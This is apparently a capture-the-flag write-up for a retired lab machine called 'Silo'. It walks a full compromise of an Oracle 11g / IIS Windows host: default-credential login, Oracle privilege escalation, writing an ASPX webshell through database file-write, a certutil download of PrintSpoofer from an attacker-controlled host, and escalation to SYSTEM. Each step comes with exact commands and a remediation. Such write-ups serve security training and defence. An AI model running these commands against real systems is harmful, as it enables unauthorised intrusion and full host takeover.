Silo
Summary
A full TCP port scan surfaced a legacy Oracle Database 11g TNS listener still accepting the factory-default credential pair scott/[REDACTED: recovered credential] Authenticated to the database, I leveraged a known Oracle index-privilege-escalation flaw to promote the limited SCOTT account to full DBA rights. As DBA, I created an Oracle DIRECTORY object pointing at the IIS web server's document root and used Oracle's built-in DBMS_XSLPROCESSOR.CLOB2FILE package to write an ASP.NET command-execution webshell into that directory, bridging the database and operating-system layers.
The webshell gave remote command execution as the IIS worker process, which held SeImpersonatePrivilege; PrintSpoofer was staged via certutil and used to coerce a SYSTEM-level named-pipe token, yielding full administrative control of the Windows Server 2012 R2 host.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -p- --min-rate 3000 -T4 -Pn $TARGETnmap -sV -sC -p 80,135,139,445,1521,5985 -Pn $TARGETnxc smb $TARGET --sharesExact commands 1
msfconsole -q -x "use auxiliary/scanner/oracle/sid_brute; set RHOSTS $TARGET; set RPORT 1521; run; exit"FixRemove Oracle default demonstration accounts and restrict TNS listener network accessCritical
Exact commands 3
msfconsole -q -x "use auxiliary/admin/oracle/oracle_login; set RHOST $TARGET; set RPORT 1521; set SID XE; set CSVFILE /usr/share/metasploit-framework/data/wordlists/oracle_default_passwords.csv; run; exit"nxc smb $TARGET -u scott -p $PASSWORDnxc winrm $TARGET -u scott -p $PASSWORDExact commands 1
msfconsole -q -x "use auxiliary/admin/oracle/oracle_index_privesc; set RHOST $TARGET; set RPORT 1521; set SID XE; set DBUSER scott; set DBPASS $PASSWORD; set TABLE SYS.DUAL; set SQL GRANT DBA to SCOTT; run; exit"FixPatch Oracle Database or migrate to a supported release to eliminate the index-privilege-escalation vulnerabilityCritical
Exact commands 3
msfconsole -q -x "use auxiliary/admin/oracle/oracle_sql; set RHOST $TARGET; set RPORT 1521; set SID XE; set DBUSER scott; set DBPASS $PASSWORD; set SQL CREATE OR REPLACE DIRECTORY WEBROOT AS 'C:\\inetpub\\wwwroot'; run; exit"msfconsole -q -r /tmp/ora_shell.rccurl -s --get --data-urlencode "c=whoami" http://$TARGET/s.aspxFixPrevent Oracle from writing files into IIS-served directoriesCritical
Exact commands 2
curl -s --get --data-urlencode "c=type C:\Users\Phineas\Desktop\user.txt" http://$TARGET/s.aspxcurl -s --get --data-urlencode "c=whoami /priv" http://$TARGET/s.aspxExact commands 4
python3 -m http.server 9000curl -s --get --data-urlencode "c=certutil -urlcache -f http://$ATTACKER_IP:9000/win/PrintSpoofer64.exe C:\Windows\Temp\ps.exe" http://$TARGET/s.aspxcurl -s --get --data-urlencode "c=C:\Windows\Temp\ps.exe -c \"cmd /c whoami\"" http://$TARGET/s.aspxcurl -s --get --data-urlencode "c=C:\Windows\Temp\ps.exe -c \"cmd /c type C:\Users\Administrator\Desktop\root.txt\"" http://$TARGET/s.aspxFixRemove SeImpersonatePrivilege from IIS application pool identitiesHigh
Attack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an externally controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Exposed services
| 80/tcp | http Microsoft IIS httpd 8.5 |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 1521/tcp | oracle |